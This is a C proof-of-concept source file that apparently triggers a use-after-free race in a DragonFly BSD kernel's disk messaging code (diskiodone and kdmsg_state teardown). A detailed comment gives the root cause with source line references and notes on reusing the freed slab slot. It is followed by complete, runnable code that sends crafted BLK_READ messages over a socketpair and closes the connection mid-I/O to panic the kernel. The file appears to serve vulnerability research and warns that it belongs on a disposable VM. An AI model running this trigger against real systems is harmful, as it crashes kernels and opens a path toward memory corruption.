DF-0117 / trigger_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 | /* * DF-0117 PoC (race trigger, v2) -- attempt to reproduce the UAF on * kdmsg_state in diskiodone (sys/kern/subr_diskiocom.c:580/582/650). * * CORRECTED ANALYSIS (supersedes the prior "NOT REPRODUCED" verdict): * The prior verdict claimed the state's 2 topology refs (rbtree+subq) * keep it alive through diskiodone, because both refs are only dropped * inside kdmsg_state_cleanuptx() after a DELETE-bearing kernel reply is * produced, and that reply is produced by diskiodone itself. * * That analysis MISSED a second code path that produces a DELETE-bearing * reply WITHOUT diskiodone: the connection-drop teardown. * * kdmsg_iocom_thread_wr teardown loop (kern_dmsg.c:547-557) * -> kdmsg_simulate_failure(state0, 0, ...) * -> kdmsg_state_abort(state) (kern_dmsg.c:1355) * -> simulated DMSG_LNK_ERROR|DELETE msg (kern_dmsg.c:1392-1404) * -> kdmsg_msg_receive_handling(msg) * -> kdmsg_state_msgrx: state->rxcmd |= DELETE (kern_dmsg.c:1077) * -> callback disk_rcvdmsg -> disk_blk_read (subr_diskiocom.c:238) * incoming cmd (LNK_ERROR|DELETE) != BLK_READ -> reterr=1 * done: msg has DELETE -> * kdmsg_msg_reply(msg, error) (subr_diskiocom.c:390) * **CALLED UNCONDITIONALLY even if iost->count > 0** (I/O in flight) * -> kdmsg_msg_write -> DYING branch -> cleanuptx -> state FREED * * So the state CAN be freed while async disk I/O is still in flight. * When the in-flight I/O completes, diskiodone dereferences the freed * state -> UAF. * * Strategy (this trigger): * 1. Establish the iocom (kill hammer2, DIOCRECLUSTER, socketpair). * 2. Send ONE BLK_READ|CREATE on msgid=1 with bytes=MAXPHYS (128 KB). * This creates the state + dispatches ONE large async read on the * root disk. eof=0 (no DELETE), so diskiodone will NOT send a * DELETE reply -- the only path that can free the state is the * teardown's simulated DELETE. * 3. Close the socket IMMEDIATELY. The reader processes the one * message, dispatches the 128 KB I/O, then gets EOF. The writer * enters teardown and frees the state. * 4. The 128 KB read on the QCOW2-backed virtio disk takes long enough * (1-10 ms) that the teardown frees the state BEFORE the I/O * completes. diskiodone then dereferences freed memory. * 5. During the teardown, kdmsg_msg_alloc / kdmsg_msg_free for the * LNK_CONN/LNK_SPAN/SPAN teardown generates same-slab (M_DMSG_DISK) * allocations that can reuse the freed state's ~152-byte slab slot, * corrupting the state data that diskiodone reads -> page fault. * * Build (DragonFly, root): * cc -O2 -o trigger_race trigger_race.c -lpthread * * Run: * ./trigger_race [iosize] [nreads] [preclose_us] [iters] * iosize default 131072 (MAXPHYS = 128 KB) * nreads default 1 (additional mid-stream BLK_READ on same state) * preclose_us default 0 (close socket immediately after writing) * iters default 1 (repeats; each needs a guest reset if it panics) * * Expected (bug present): kernel panic in diskiodone / kdmsg_msg_alloc / * page fault on freed kdmsg_state_t memory (captured in boot.log). * Expected (state protected): trigger exits cleanly, guest stays up. * * WARNING: may panic a vulnerable kernel. Run only on a disposable VM. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/diskslice.h> #include <sys/dmsg.h> #include <sys/socket.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <err.h> #define DMSG_DISK "/dev/vbd0" #define MAXPHYS (128 * 1024) /* dmsg BLK_READ extended header = SIZE field 2 * DMSG_ALIGN(64) = 128 bytes */ #define BLK_READ_HDR_BYTES 128 struct blk_read_wire { dmsg_hdr_t hdr; /* 64 bytes */ uint64_t keyid; /* +0x40 */ uint64_t offset; /* +0x48 */ uint32_t bytes; /* +0x50 */ uint32_t flags; /* +0x54 */ uint32_t reserved01; /* +0x58 */ uint32_t reserved02; /* +0x5c */ unsigned char pad[32]; /* +0x60 .. +0x7f */ } __attribute__((packed)); static void mk_blk_read(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit, uint64_t offset, uint32_t bytes) { struct blk_read_wire *w = buf; memset(buf, 0, BLK_READ_HDR_BYTES); w->hdr.magic = DMSG_HDR_MAGIC; w->hdr.msgid = msgid; w->hdr.circuit = circuit; w->hdr.cmd = cmd; w->hdr.aux_bytes = 0; w->hdr.aux_crc = 0; w->hdr.hdr_crc = 0; w->keyid = 0; w->offset = offset; w->bytes = bytes; } static void * drain(void *arg) { int fd = *(int *)arg; char buf[65536]; for (;;) if (read(fd, buf, sizeof(buf)) <= 0) break; return NULL; } int main(int argc, char **argv) { setvbuf(stderr, NULL, _IONBF, 0); int iosize = (argc > 1) ? atoi(argv[1]) : MAXPHYS; int nreads = (argc > 2) ? atoi(argv[2]) : 1; int preclose_us = (argc > 3) ? atoi(argv[3]) : 0; int iters = (argc > 4) ? atoi(argv[4]) : 1; if (iosize < 512) iosize = 512; if (iosize > MAXPHYS) iosize = MAXPHYS; if (nreads < 0) nreads = 0; for (int iter = 0; iter < iters; iter++) { fprintf(stderr, "\n[=== iter %d/%d iosize=%d nreads=%d preclose=%d ===]\n", iter + 1, iters, iosize, nreads, preclose_us); int diskfd = open(DMSG_DISK, O_RDWR); if (diskfd < 0) err(1, "open %s", DMSG_DISK); int sv[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) err(1, "socketpair"); int sv_kern = sv[0], sv_us = sv[1]; /* bigger socket buffers so the kernel writer doesn't block * on reply back-pressure before it can enter teardown */ int sbsz = 1 << 20; /* 1 MB */ setsockopt(sv_us, SOL_SOCKET, SO_RCVBUF, &sbsz, sizeof(sbsz)); setsockopt(sv_us, SOL_SOCKET, SO_SNDBUF, &sbsz, sizeof(sbsz)); pthread_t dt; pthread_create(&dt, NULL, drain, &sv_us); struct disk_ioc_recluster recl; memset(&recl, 0, sizeof(recl)); recl.fd = sv_kern; if (ioctl(diskfd, DIOCRECLUSTER, &recl) < 0) { warn("DIOCRECLUSTER (iter %d)", iter); close(sv_us); close(sv_kern); close(diskfd); continue; } fprintf(stderr, "[1] DIOCRECLUSTER ok\n"); char buf[BLK_READ_HDR_BYTES]; uint32_t basecmd = DMSG_BLK_READ; /* 0x00500302 */ /* ONE CREATE -> creates state, dispatches I/O, eof=0 */ mk_blk_read(buf, basecmd | DMSGF_CREATE, 1, 0, 0, iosize); if (write(sv_us, buf, BLK_READ_HDR_BYTES) != BLK_READ_HDR_BYTES) warn("write CREATE"); fprintf(stderr, "[2] wrote BLK_READ|CREATE iosize=%d\n", iosize); /* additional mid-stream BLK_READ on same state (no CREATE) */ for (int i = 0; i < nreads; i++) { mk_blk_read(buf, basecmd, 1, 0, 0, iosize); write(sv_us, buf, BLK_READ_HDR_BYTES); } if (nreads) fprintf(stderr, "[2a] wrote %d additional BLK_READ (mid-stream)\n", nreads); if (preclose_us > 0) usleep(preclose_us); fprintf(stderr, "[3] closing sv_us -> reader EOF -> teardown race\n"); close(sv_us); sv_us = -1; fprintf(stderr, "[4] waiting 5s for teardown + diskiodone race...\n"); sleep(5); pthread_join(dt, NULL); close(diskfd); } fprintf(stderr, "[done] all iters completed; no panic observed by userspace\n"); return 0; } |